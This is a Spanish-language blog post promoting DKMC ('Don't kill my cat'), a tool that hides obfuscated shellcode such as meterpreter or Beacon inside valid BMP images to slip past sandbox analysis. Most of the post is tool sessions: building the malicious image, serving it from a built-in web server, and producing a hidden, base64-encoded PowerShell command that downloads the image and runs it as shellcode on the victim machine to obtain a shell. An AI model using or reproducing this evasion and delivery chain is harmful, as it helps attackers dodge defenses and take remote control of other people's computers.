DKMC – Herramienta para insertar payload dentro de una imagen bmp.

0
1889
views

Don’t kill my cat (no mates a mi gato) es una herramienta que genera shellcode ofuscado que se almacena dentro de las imágenes de políglota. La imagen es 100% válida y también 100% válida shellcode. La idea es evitar el análisis sandbox ya que es una simple imagen “legítima”. Por ahora la herramienta se basan en PowerShell para ejecutar el payload de shellcode.

La presentación de como funciona la herramienta la pueden encontrar aquí.

Flujo Básico

  • Generar shellcode (meterpreter / Beacon)
  • Incrustar el shellcode ofuscado dentro de la imagen
  • PowerShell descarga la imagen y ejecuta la imagen como shellcode
  • Consigue tu shell

Modo de uso

Ejecuta DKMC

user@computer:$ $ python dkmc.py


DKMC - Don't kill my cat
Evasion tool - Mr.Un1k0d3r RingZer0 Team
|\ _,,,---,,_
/,`.-'`' -. ;-;;,_
|,4- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_) The sleepy cat

----------------------------------------------------
Select an option:

[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application

>>>

Generar shellcode desde un archivo raw

user@computer:$ >>> sc
(shellcode)>>> set source shellcode.txt
[+] source value is set.

(shellcode)>>> run
[+] Shellcode:
\x41\x41\x41\x41

Genera el shellcode ofuscado incrustado dentro de una imagen.

user@computer:$ >>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
[+] shellcode value is set.

(generate)>>> run
[+] Image size is 300 x 275
[+] Generating obfuscation key 0x1f1dad93
[+] Shellcode size 0x4 (4) bytes
[+] Generating magic bytes 0xa4d0c752
[+] Final shellcode length is 0x57 (87) bytes
[+] New BMP header set to 0x424de9a4c60300
[+] New height is 0x0e010000 (270)
[+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)

(generate)>>>

Generar el payload de PowerShell para ejecutarlo en la maquina victima

user@computer:$ >>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
[+] url value is set.

(powershell)>>> run
[+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAF

(powershell)>>>

Incorporado Servidor Web para entregar la imagen

user@computer:$ >>> web
(web)>>> set port 8080
[+] port value is set.

(web)>>> run
[+] Starting web server on port 8080

127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -

El paso final requiere que ejecutes el PowerShell en el sistema de víctimas.

Creditos
Mr.Un1k0d3r RingZer0 Team 2016

Descarga DKMC

W3Schools